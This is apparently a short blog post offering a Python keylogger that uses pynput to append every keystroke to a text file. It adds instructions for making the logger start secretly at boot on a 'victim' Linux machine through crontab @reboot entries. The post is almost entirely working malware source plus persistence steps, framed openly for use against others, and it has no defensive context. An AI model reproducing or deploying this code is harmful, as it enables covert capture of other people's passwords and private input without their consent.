Keylogger - A python script to scrap keystrokes in a text file.
Step:1
Install pynput
$pip3 install pynput
Step:2
Python Code
from pynput import keyboard
def keyPressed(key):
print(str(key))
with open("Keystrokes.txt", 'a') as logKey:
try:
char = key.char
logKey.write(char)
except AttributeError: # More specific exception handling
print("Error: Key has no character representation")
if __name__ == "__main__":
listener = keyboard.Listener(on_press=keyPressed) # Capitalized 'Listener'
listener.start()
input()
After that a file will generate name Keystrokes.txt
Now If a victim is using linux so what I did to start the storing keystrokes in text file when a victim boot the machine so i add the path to crontab.
$crontab -e
@reboot /home/maverick/Desktop/PRO/Python/Keylogger.py
Or
@reboot python3 /home/maverick/Documents/Python/Keylogger.py
Or
@reboot /home/maverick/Desktop/Pro/Python/Data.sh
Comments
Post a Comment